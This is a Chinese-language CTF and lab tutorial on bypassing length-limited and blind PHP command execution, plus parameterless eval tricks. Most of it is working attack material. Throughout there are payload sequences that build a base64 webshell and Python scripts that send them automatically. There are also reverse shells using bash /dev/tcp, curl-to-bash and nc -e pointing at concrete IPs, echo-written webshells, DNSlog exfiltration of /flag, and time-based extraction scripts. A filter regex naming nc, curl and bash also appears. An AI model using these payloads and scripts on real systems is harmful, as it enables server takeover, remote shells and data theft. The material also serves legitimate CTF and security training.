$sandbox = '/www/sandbox/' . md5("orange" . $_SERVER['REMOTE_ADDR']);
@mkdir($sandbox);
@chdir($sandbox);
if (isset($_GET['cmd']) && strlen($_GET['cmd']) <= 5) {
@exec($_GET['cmd']);
} else if (isset($_GET['reset'])) {
@exec('/bin/rm -rf ' . $sandbox);
}
highlight_file(__FILE__);
?>

法1

拼接字符串写入一句话

payload:

>hp
>1.p\\
>d\>\\
>\ -\\
>e64\\
>bas\\
>7\|\\
>XSk\\
>Fsx\\
>dFV\\
>kX0\\
>bCg\\
>XZh\\
>AgZ\\
>waH\\
>PD9\\
>o\ \\
>ech\\
ls -t>0【前面可以拆成更小的,ls -t>0需要单独拆分出来】
sh 0

ls -t >0 拆分方法

同理:

  1. 输入通配符 * ,Linux会把第一个列出的文件名当作命令,剩下的文件名当作参数

  2. 通过rev来倒置输出内容(rev命令将文件中的每行内容以字符为单位反序输出)

  3. 用dir来代替ls不换行输出;rev将文件内容反向输出;在用ls时,写到a时每个文件名都是单独一行

>rev
echo 1234 > v
*v (等同于命令:rev v)

目的:echo${IFS}PD9waHAgZXZhbCgkX0dFVFsxXSk7|base64 ‐d>1.php

那么我们只需要将上面的代码拆分倒序输入到主机即可。我们需要让sh先执行a文件(ls -th >f)就会得到f文件,最后再让sh去执行f文件即可得到1.php。最终payload如下

payload.txt

>dir
>f\>
>ht-
>sl
*>v
>rev
*v>a
>hp
>p\\
>1.\\
>\>\\
>-d\\
>\ \\
>64\\
>se\\
>ba\\
>\|\\
>7\\
>Sk\\
>X\\
>x\\
>Fs\\
>FV\\
>d\\
>X0\\
>k\\
>g\\
>bC\\
>h\\
>XZ\\
>gZ\\
>A\\
>aH\\
>w\\
>D9\\
>P\\
>S}\\
>IF\\
>{\\
>\$\\
>o\\
>ch\\
>e\\
sh a
sh f

脚本:

#!/usr/bin/python
# -*- coding: UTF-8 -*-
import requests
url = "http://192.168.12.107/5/index.php?cmd={0}"
print("[+]start attack!!!")
with open("payload.txt","r") as f:
for i in f:
print("[*]" + url.format(i.strip()))
requests.get(url.format(i.strip()))
#检查是 否攻击成功
test = requests.get("http://192.168.12.107/5/sandbox/2ad26c4b0f3cdead3c4c1955ad805b8d/1.php")
if test.status_code == requests.codes.ok:
print("[*]Attack success!!!")

然后蚁剑连接即可(1.php)

法2

反弹shell

既然可以执行命令,那么我们首先想到的是反弹一个shell回来

我们在自己的vps上web目录/var/www/html/里先创建一个文件index.html,里面写好反弹shell的话(由于linux文件名不能有斜杠“/”,所以就不能curl xxx.xxx.xxx.xxx/1.txt,我们就用index,这样47.1x0.1x0.123连上后会默认自动访问index.html反弹shell)

bash反弹shell的命令如下:

bash -i >& /dev/tcp/vps的ip/监听的端口 0>&1

空格需要转义

>\ \\

构造空格就用去了五个字符,我们的语句里面有两个空格,而相同的文件名只能有一个,因此这里不能直接执行bash反弹shell
那么通过将反弹语句放在vps上,然后通过如下方式来执行:

curl ip地址|bash

我们先在自己的vps新建一个文件,内容为

bash -i >& /dev/tcp/120.79.33.253/7777 0>&1

然后在vps上面监听7777端口

nc -lv 7777

image-20240401084203278

因为ls -t>_的长度也大于5,所以要要把ls -t>y写入文件

ls命令排序的规则是空格和符号最前,数字其次,字母最后

>ls\\
ls>_
>\ \\
>-t\\
>\>y
ls>>_

image-20240401084253212

那么我们再构造curl 120.79.33.253|bash

>bash
>\|\\
>53\\
>2\\
>3.\\
>3\\
>9.\\
>7\\
>0.\\
>12\\
>\ \\
>rl\\
>cu\\

然后运行

sh _

生成文件y
再执行

sh y

脚本:

"""
本脚本使用说明:
现有靶机:192.168.40.148 攻击机:192.168.40.146,两者均为kali
对于靶机:
搭建环境:
拉取镜像: docker pull mcc0624/cmd:latest
启动docker: sudo docker run -p 18022:22 -p 18080:80 -p 18081:81 -p 18082:82 -p 18085 -i -t mcc0624/cmd:latest bash -c '/etc/rc.local; /bin/bash'
退出并关闭docker:exit
对于攻击机: 开三个终端,分别执行:
nc -lvp 7777
vim 一个index.html文件,写入 nc 192.168.40.146 7777 -e /bin/bash 或执行命令: echo "nc 192.168.40.146 7777 -e /bin/bash" > index.html
开启HTTP服务: python -m http.server 80
(第二,第三个命令需要在同一个目录下执行)
温馨提示:
根据情况修改变量baseurl的值
根据情况修改list2中的IP
在执行该脚本的时候,可通过进入靶机内部对应的题目目录下不断地执行ls命令,来看传值的情况
最终的结果应是21秒左右能反弹成功
不能反弹成功时尝试查看脚本是否有问题


"""


#encoding:utf-8
import time
import requests
baseurl = "http://192.168.40.148:18080/class09/3/index.php?cmd="
s = requests.session()

# 将ls -t 写入文件_
list=[
">ls\\",
"ls>_",
">\ \\",
">-t\\",
">\>y",
"ls>>_"
]


# 根据自己情况更改ip curl 192.168.40.146|bash
list2=[
">bash",
">\|\\",
">\/\\",
">6\\",
">14\\",
">0.\\",
">4\\",
">8.\\",
">16\\",
">2.\\",
">19\\",
">\ \\",
">rl\\",
">cu\\"
]
for i in list:
time.sleep(1)
url = baseurl+str(i)
s.get(url)

for j in list2:
time.sleep(1)
url = baseurl+str(j)
s.get(url)

s.get(baseurl+"sh _")
s.get(baseurl+"sh y")

"""
在攻击机上:
开三个页面,分别执行:
nc -lvp
python -m http.server 80
echo "192.168.40.146" > index.html

然后开始运行此python文件
大概等21秒,成功反弹到攻击机
"""

4字符下可控

法1

常规:字符拼接写马

<?php
highlight_file(__FILE__);
error_reporting(E_ALL);
function filter($argv){
str_replace("/\?|/","=====",$argv);
return $argv;
}
if (isset($_GET['cmd']) && strlen($_GET['cmd']) <= 4) {
exec(filter($_GET['cmd']));
} else {
echo "flag in local path flag file!";
}

1.输入统配符* ,Linux会把第一个列出的文件名当作命令,剩下的文件名当作参数

>id
>root
* (等同于命令:id root)

2.dir:虽然基本上和 ls 一样,但有两个好处,一是开头字母是d ,这使得它在 alphabetical 序中靠前,二是按列输出,不换行。

先看下ls的效果,写到a时每个文件名都是单独一行,这样会影响命令执行

image-20240401090301990

看下dir的效果,会不换行输出到文件中去

image-20240401090338004

3.rev:可以反转文件每一行的内容。

4.增加字母来限定被用来当作命令和参数的文件名

>ls
>lss
>lsss
>1
*s (等同于命令: ls lss lsss)

5.通过增加ls的-h(把文件大小显示成1k 1M 等形式)参数来让调整-t(根据时间排序)参数的位置
我们之后需要用到rev 倒置输出

所以需要列出这样形式的文件名

0>  t-  sl


>0\>
>t-
>sl

image-20240401090117318

所以要增加-h来把-t往前拉

>0\>
>ht-
>sl

image-20240401090153203

所以

因为是四个字符,所以 ls>>? 肯定是不能用了。

看一下构造:

>dir
>sl
>g\>
>ht-

发现dir排在最前面

*>v
>rev
*v>x

*>v 表示 执行 dir 并输出到 v 中

v>x 很巧妙,这里这里目录下这么多文件,只有 rev 能执行成功(rev v>x)

最后:

>dir
>f\>
>ht-
>sl
*>v (等同于命令:dir "f>" "ht-" "sl" > v)
>rev
*v>0 (等同于命令:rev v > 0)(0里面的内容位:ls -th >f)
sh 0 (sh执行0里面的内容)

法2

反弹

脚本:

"""
可用
本脚本使用说明:
现有靶机:192.168.40.148 攻击机:192.168.40.146,两者均为kali
对于靶机:
搭建环境:
拉取镜像: docker pull mcc0624/cmd:latest
启动docker: sudo docker run -p 18022:22 -p 18080:80 -p 18081:81 -p 18082:82 -p 18085 -i -t mcc0624/cmd:latest bash -c '/etc/rc.local; /bin/bash'
退出并关闭docker:exit
对于攻击机: 开三个终端,分别执行:
nc -lvp 7777
vim 一个index.html文件,写入 nc 192.168.40.146 7777 -e /bin/bash 或执行命令: echo "nc 192.168.40.146 7777 -e /bin/bash" > index.html
开启http服务: python -m http.server 80
(第二,第三个命令需要在同一个目录下执行)
温馨提示:
根据情况修改变量baseurl的值
根据情况修改list2中的IP
在执行该脚本的时候,可通过进入靶机内部对应的题目目录下不断地执行ls命令,来看传值的情况
最终的结果应是25秒左右能反弹成功
不能反弹成功时尝试查看脚本是否有问题,或退出并重启改docker


"""

#encoding:utf-8
import time
import requests
baseurl = "http://192.168.40.148:18080/class09/4/ffff.php?cmd="
s = requests.session()

# 将ls -t 写入文件g
list=[
">g\;",
">g\>",
">ht-",
">sl",
">dir",
"*>v",
">rev",
"*v>x"
]
# list2本质上执行命令: curl 192.168.40.146|bash
# 注意根据情况修改攻击机IP
list2= [
">ash",
">b\\",
'>\|\\',
'>6\\',
'>14\\',
'>0.\\',
'>4\\',
'>8.\\',
'>16\\',
'>2.\\',
'>19\\',
'>\ \\',
'>rl\\',
'>cu\\'
]
for i in list:
time.sleep(1)
url = baseurl+str(i)
s.get(url)

for j in list2:
time.sleep(1)
url = baseurl+str(j)
s.get(url)

s.get(baseurl+"sh x")
s.get(baseurl+"sh g")

结果:

image-20240401090817745

3字符下可控

CTFSHOW平台的【nl】难了 一题

<?php
show_source(__FILE__);
error_reporting(0);
if(strlen($_GET[1])<4){
echo shell_exec($_GET[1]);
}
else{
echo "hack!!!";
}
?>

只限3个字符的shell_exec,依然利用通配符 * 表示将ls下面的文件执行,如果第一个是命令就直接执行命令,后面的当参数,与前几点的原理类似

首先ls查看当前目录下有哪些文件 ?1=ls

只存在s开头的和z开头的文件,Linux中文件排序按照26个英文字母顺序排放,所以我们依然利用前几种字符限制的方法,通过>写入一个以命令名命名的文件,如:nl(读取文件带上行)od(八进制显示输出),但这样的命令前提是其第一个字母必须在当前文件名中排到第一位。

payload:?1=>nl ?1=*或?1=*>z 第二种:?1=>od ?1=*

接下来再传入?=*的时候就会在源代码中得到flag。

无回显RCE

<?php
highlight_file(__FILE__);
$a=$_GET['a'];
exec("$a");
//$b=exec("$a");
//echo $b;
?>

命令执行函数我用的是exec,因为这个函数本身是没有回显的,拿来做测试简直不能再合适

法1

时间盲注

逻辑和SQL注入的时间盲注差不多

相关命令:
1.sleep
sleep 5 #5秒之后返回结果

2.awk:逐行获取数据

cat test.php | awk NR==2 //awk NR==2 逐行获取一行字符

3.cut -c
cut命令逐列获取单个字符
cat flag | awk NR==2 | cut -c 1 #获取第一个字符 cat flag | awk NR==2 | cut -c 2 #获取第二个字符

4、if语句:判断命令是否执行
if [ $(cat flag | awk NR==2 | cut -c 1) == F ];then sleep 2;fi
if里的判断语句为真的话,则执行sleep 2,休眠2秒后返回结果

image-20240401093435071

直接脚本:

"""
可用
环境搭建: 靶机:kali 192.168.40.148
拉取镜像: docker pull mcc0624/cmd:latest
启动docker: sudo docker run -p 18022:22 -p 18080:80 -p 18081:81 -p 18082:82 -p 18085 -i -t mcc0624/cmd:latest bash -c '/etc/rc.local; /bin/bash'
退出并关闭docker:exit
"""
import requests
import time

# url=input("请输入URL:,例如:http://192.168.40.148:18080/class08/1.php?cmd=")
url=input("URL样式:http://192.168.40.148:18080/class08/1.php?cmd=\n请输入URL:")
result = ""
for i in range(1, 5):
for j in range(1, 55):

for k in range(32, 128):
k = chr(k)
# time.sleep(0.1)
payload = f"if [ `cat flag.php | awk NR=={i} | cut -c {j}` == {k} ];then sleep 2;fi"
try:
requests.get(url=url + payload, timeout=(1.5, 1.5))
except:
result = result + k
print(result)
break
result += " "

import requests
import time
url ="http://192.168.1.6:19080/class08/1.php"
result = ""
for i in range(1,5): //定义i、j、k三个变量
for j in range(1,10):
for k in range(32,128): //ascii码表
k=chr(k) //把ascii码转换成字母,HEX编码变成字符
time.sleep(0.1) //i定义读取1-5行,i定义读取1-55个字符
payload = "?cmd=" + f"if[ `ls | awk NR=={i} | cut -c {j}`=={k}];then sleep 2;fi"
try:
requests.get(url=url+payload, timeout=(1.5,1.5))
except:
result = result + k //把值加入result,print输出显示
print(result)
break
result += ""

两个脚本差不多

image-20240401092849763

法2

文件读写

<?php
error_reporting(0);
function check($x){
if(preg_match('/\\$|\!|\@|\#|\%|\^|\&|\*|\?|\>|\<|nc|wget|exec|bash|sh|netcat|grep|base64|rev|curl|wget|gcc|python|pingtouch|mv|mkdir|cp/i', $x)){
die('too young too simple sometimes naive!');
}
}
if(isset($_GET['cmd'])){
$cmd=$_GET['cmd'];
check($cmd);
exec($cmd);
}
else{
highlight_file(__FILE__);
}
?>

payload:

ls | tee abc

tee命令用于从标准输入读取数据,并将其写入一个或多个文件 tee的作用是把查询到的根目录写入到当前网页下的某文件 再次访问该文件即可得到被打印的根目录

tee通常后面会跟着要写入的文件名

先执行命令

?cmd=ls| tee abc # 将ls的结果重定向到文件名为abc的文件中

image-20240401094832958

还可以:

重定向符 :

<?php
highlight_file(__FILE__);
$cmd = $_GET["cmd"];
exec($cmd,$array);
print_r($array);
?>
?cmd=echo "<?php show_source(__FILE__);@eval(\$_POST['s']); ?>" > a.php

image-20240401095308316

再访问a.php

image-20240401095338301

然后就随便打了

法3

反弹shell

<?php
highlight_file(__FILE__);
$a=$_GET['a'];
exec("$a");
//$b=exec("$a");
//echo $b;
?>

遇到这种无回显的命令执行,很常见的一个思路是反弹shell,因为它虽然不会将命令执行的结果输出在屏幕上,但实际上这个命令它是执行了的,那我们就将shell反弹到自己服务器上,然后再执行命令肯定就可以看到回显了

一般来讲我们反弹shell都用的bash -i >& /dev/tcp/ip/port 0>&1这条命令,但这里我不知道哪里出了问题,在docker中可以成功反弹但放到php命令执行中就反弹不了了,所以说无奈之下我就只能使用nc进行反弹,但其实这是很不实用的,因为很多docker中都没有安装nc,这里就先演示一下用nc反弹,利用nc -e /bin/sh ip port进行反弹:

image-20240401211530764

image-20240401211556638

可以看到已经反弹成功了,拿到了根目录下的flag

法4

dnslog外带数据法

DNS(域名解析):

域名解析是把域名指向网站空间IP,让人们通过注册的域名可以方便地访问到网站的一种服务。IP地址是网络上标识站点的数字地址,为了方便记忆,采用域名来代替IP地址标识站点地址。域名解析就是域名到IP地址的转换过程。域名的解析工作由DNS服务器完成。

域名解析也叫域名指向、服务器设置、域名配置以及反向IP登记等等。说得简单点就是将好记的域名解析成IP,服务由DNS服务器完成,是把域名解析到一个IP地址,然后在此IP地址的主机上将一个子目录与域名绑定。

而如果我们发起请求的目标不是IP地址而是域名的话,就一定会发生一次域名解析,那么假如我们有一个可控的二级域名,那么当它向下一层域名发起解析的时候,我们就能拿到它的域名解析请求。这就相当于配合dns请求完成对命令执行的判断,这就称之为dnslog。当然,发起一个dns请求需要通过linux中的ping命令或者curl命令哈

DNSLOG平台

http://www.dnslog.cn (是临时的网址)

http://admin.dnslog.link (不常用了)

http://ceye.io (要注册)

也可以使用yakit的DNSLog:

image-20240401212510959

还是这一段代码,我们用分号;作为命令的分隔符,然后发起curl请求,然后最后用反引号执行命令,具体如下:

image-20240401212125289

然后就可以到ceye平台上取看到我们发起的请求了,可以看到whoami的结果也已经在上面显示了出来:

image-20240401212157348

然后我们就尝试执行其它的命令比如像ls之类的,但这里需要注意的一点是,如果我们直接执行ls的话,它只会返回第一条结果,具体如下图所示:

image-20240401212217281

那么为了让它显示出剩余的结果,我们就需要用到linux的sed命令,用sed命令就可以实现对行的完美划分,这里利用题目不是很好演示,我就直接用kali进行演示,就像下图一样直接用就行,还是很方便的:

image-20240401212241190

?cmd=ping `ls|sed -n '1p'`.pmdbhelcqt.dgrh3.cn # 通过控制多少p,就可以看到ls出的第多少个文件名
?cmd=ping `cat /flag`.pmdbhelcqt.dgrh3.cn

这样就可以完成任意的命令执行了,但是值得注意的是,因为有的字符可能会无法显示或者只显示部分信息,所以说执行命令的时候推荐使用base64编码,然后再解开就好:

image-20240401212313639

image-20240401212332680

无参数RCE

无参rce,就是说在无法传入参数的情况下,仅仅依靠传入没有参数的函数套娃就可以达到命令执行的效果

核心代码

if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) {    
eval($_GET['code']);
}

这里的正则表达式 [^\W]+\((?R)?\) 匹配了一个或多个非标点符号字符(表示函数名),后跟一个括号(表示函数调用)。其中 (?R) 是递归引用,它只能匹配和替换嵌套的函数调用,而不能处理函数参数。使用该正则表达式进行替换后,每个函数调用都会被删除,只剩下一个分号 ;,而最终结果强等于;时,payload才能进行下一步。简而言之,无参数rce就是不使用参数,而只使用一个个函数最终达到目的

利用方式

无参数rce可能用到的函数:

目录操作:
getchwd() :函数返回当前工作目录。
scandir() :函数返回指定目录中的文件和目录的数组。
dirname() :函数返回路径中的目录部分。
chdir() :函数改变当前的目录。

数组相关的操作:
end() - 将内部指针指向数组中的最后一个元素,并输出。
next() - 将内部指针指向数组中的下一个元素,并输出。
prev() - 将内部指针指向数组中的上一个元素,并输出。
reset() - 将内部指针指向数组中的第一个元素,并输出。
each() - 返回当前元素的键名和键值,并将内部指针向前移动。
array_shift() - 删除数组中第一个元素,并返回被删除元素的值。
array_reverse() -逆转数组
array_flip():交换数组中的键和值,成功时返回交换后的数组,如果失败返回 NULL。
array_rand():从数组中随机取出一个或多个单元,如果只取出一个(默认为1), array_rand() 返回随机单元的键名。 否则就返回包含随机键名的数组。 完 成后,就可以根据随机的键获取数组的随机值。
array_flip()和array_rand()配合使用可随机返回当前目录下的文件名


读文件
show_source() - 对文件进行语法高亮显示。
readfile() - 输出一个文件。
highlight_file() - 对文件进行语法高亮显示。
file_get_contents() - 把整个文件读入一个字符串中。
readgzfile() - 可用于读取非 gzip 格式的文件


关键函数:
getenv() :获取环境变量的值
php7.0以下返回bool(false)
php7.0以上正常回显
payload:
?code=var_dump(getenv());
?code=var_dump(getenv(phpinfo()));



getallheaders():获取所有 HTTP 请求标头,是apache_request_headers()的别名函 数,但是该函数只能在Apache环境下使用

payload:
1) GET /1.php?code=eval(end(getallheaders())); HTTP/1.1
.....
flag: system('id');
2) GET /1.php?exp=eval(end(apache_request_headers())); HTTP/1.1
....
flag: system('id'); php7以上



get_defined_vars():返回由所有已定义变量所组成的数组,会返回$_GET
,$_POST,$_COOKIE,$_FILES全局变量的值,返回数组顺序为get- >post->cookie->files
current():返回数组中的当前单元,初始指向插入到数组中的第一个单元,也 就是会返回$_GET变量的数组值
payload:
1) code=eval(end(current(get_defined_vars())));
&flag=system('ls'); 利用全局变量进RCE
2)flag=system('id');&code=eval(pos(pos(get_defined_vars())));

pos() 函数返回数组中的当前元素的值。

该函数是 current() 函数的别名。



session_start():启动新会话或者重用现有会话,成功开始会话返回 TRUE ,反之返回 FALSE,返回参数给session_id()
session_id():获取/设置当前会话 ID,返回当前会话ID。 如果当前没有会话,则返回空字符 串(””)
scandir() 文件读取

法1

getallheaders()

这个函数的作用是获取http所有的头部信息,也就是headers,然后我们可以用var_dump把它打印出来,但这个有个限制条件就是必须在apache的环境下可以使用,其它环境都是用不了的,我们到burp中去做演示,测试代码如下:

<?php
highlight_file(__FILE__);
if(isset($_GET['code'])){
if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) {
eval($_GET['code']);}
else
die('nonono');}
else
echo('please input code');
?>

image-20240401220518864

可以看到,所有的头部信息都已经作为了一个数组打印了出来。但我们在实际的利用过程中并用不了这么多的,我们需要有选择的执行一些命令,这里就需要用到php中操纵数组的函数了,这里常见的是利用end()函数取出最后一位,并且只会取值,不会取键,所以键名随便取:

image-20240401220554490

结合上面一些其他相关函数

即可实现命令执行

image-20240401221109115

payload:

eval(array_rand(array_flip(getallheaders())));
eval(end(getallheaders()))
eval(pos(array_reverse(getallheaders())))

都要传header

image-20240401221541707

法2

get_defined_vars()

getallheaders()是有局限性的,因为如果中间件不是apache的话,它就用不了了,那我们就介绍一种更为普遍的方法get_defined_vars(),这种方法其实和上面那种方法原理是差不多的

image-20240401221848316

可以看到,它并不是获取的headers,而是获取的四个全局变量$_GET $_POST $_FILES $_COOKIE,而它的返回值是一个二维数组,我们利用GET方式传入的参数在第一个数组中。这里我们就需要先将二维数组转换为一维数组,这里我们用到current()函数,这个函数的作用是返回数组中的当前单元,而它的默认是第一个单元,也就是我们GET方式传入的参数,我们可以看看实际效果:

image-20240401222003408

这里可以看到成功输出了我们二维数组中的第一个数据,也就是将GET的数据全部输出了出来,相当于它就已经变成了一个一维数组了,那按照我们上面的方法,我们就可以利用**end()函数以字符串的形式取出最后的值**,然后直接eval执行就行了,这里和上面就是一样的了:

image-20240401222138752

image-20240401222154762

那我们把var_dump改成eval即可执行我们的phpinfo代码

image-20240401222220294

那同样也能执行whoami命令

image-20240401222319324

总结一下,这种方法和第一种方法几乎是一样的,就多了一步,就是利用current()函数将二维数组转换为一维数组

payload:

eval(end(current(get_defined_vars())));
&flag=system('ls');
flag=system('id');
eval(pos(pos(get_defined_vars())))

法3

session_id()

简单来说就是把恶意代码写到COOKIE的PHPSESSID中,然后利用session_id()这个函数去读取它,返回一个字符串,然后我们就可以用eval去直接执行了,这里有一点要注意的就是session_id()要开启session才能用,所以说要先session_start(),这里我们先试着把PHPSESSID的值取出来:
image-20240401222557307

直接出来就是字符串,那就非常完美,我们就不用去做任何的转换了,但这里要注意的是,PHPSESSIID中只能有A-Z a-z 0-9-,所以说我们要先将恶意代码16进制编码以后再插入进去,而在php中,将16进制转换为字符串的函数为hex2bin

image-20240401222635617

那我们就可以开始构造了,首先把PHPSESSID的值替换成这个,然后在前面把var_dump换成eval就可以成功执行了,同时我们还要加上hex2bin函数

image-20240401222701625

payload:

eval(hex2bin(session_id(session_star())))
cookie:PHPSESSIID=706870696e666f28293b phpinfo();

法4

php函数直接读取文件

上面我们一直在想办法在进行rce,但有的情况下确实无法进行rce时,我们就要想办法直接利用php函数完成对目录以及文件的操作, 接下来我们就来介绍这些函数:

localeconv()

localeconv() 函数返回一个包含本地数字及货币格式信息的数组

我们在代码中将localeconv()的返回结果输出出来,它返回的是一个二维数组,而它的第一位居然是一个点.

那按照我们上面讲的,是可以利用current()函数将这个点取出来的,但这个点有什么用呢?点代表的是当前目录!我们可以利用这个点完成遍历目录的操作!相当于就是linux中的ls

image-20240401223458115

我们利用current函数把这个点取出来

image-20240401223536322

完成目录遍历操作

image-20240401223600546

scandir()

scandir() 函数返回指定目录中的文件和目录的数组。

current(pos)

pos()函数是current()函数的别名,两者是一样的

current() 函数返回数组中的当前元素(单元)。

每个数组中都有一个内部的指针指向它“当前的”元素,初始指向插入到数组中的第一个元素。

dirname()和chdir()

chadir()这个函数是用来跳目录的,有时想读的文件不在当前目录下就用这个来切换,因为scandir()会将这个目录下的文件和目录都列出来,那么利用操作数组的函数将内部指针移到我们想要的目录上然后直接用chdir切就好了,如果要向上跳就要构造chdir(‘..’)

首先我们可以利用getcwd()获取当前目录

?code=var_dump(getcwd());

string(13) "/var/www/html"

那么怎么进行当前目录的目录遍历呢?
这里用scandir()即可

?code=var_dump(scandir(getcwd()));

array(3) { [0]=> string(1) "." [1]=> string(2) ".." [2]=> string(9) "index.php" }

那么既然不在这一层目录,如何进行目录上跳呢?
我们用dirname()即可

?code=var_dump(scandir(dirname(getcwd())));

array(4) { [0]=> string(1) "." [1]=> string(2) ".." [2]=> string(14) "flag_phpbyp4ss" [3]=> string(4) "html" }

那么怎么更改我们的当前目录呢?这里我们发现有函数可以更改当前目录

chdir ( string $directory ) : bool

将 PHP 的当前目录改为 directory。
所以我们这里在

dirname(getcwd())

进行如下设置即可

chdir(dirname(getcwd()))

我们尝试读取/var/www/123

http://localhost/?code=readfile(next(array_reverse(scandir(dirname(chdir(dirname(getcwd())))))));

即可进行文件读取

array_reverse()

array_reverse() 函数将原数组中的元素顺序翻转,创建新的数组并返回。

将整个数组倒过来,有的时候当我们想读的文件比较靠后时,就可以用这个函数把它倒过来,就可以少用几个next()

highlight_file()

取文件的打印输出或者返回 filename 文件中语法高亮版本的代码,相当于就是用来读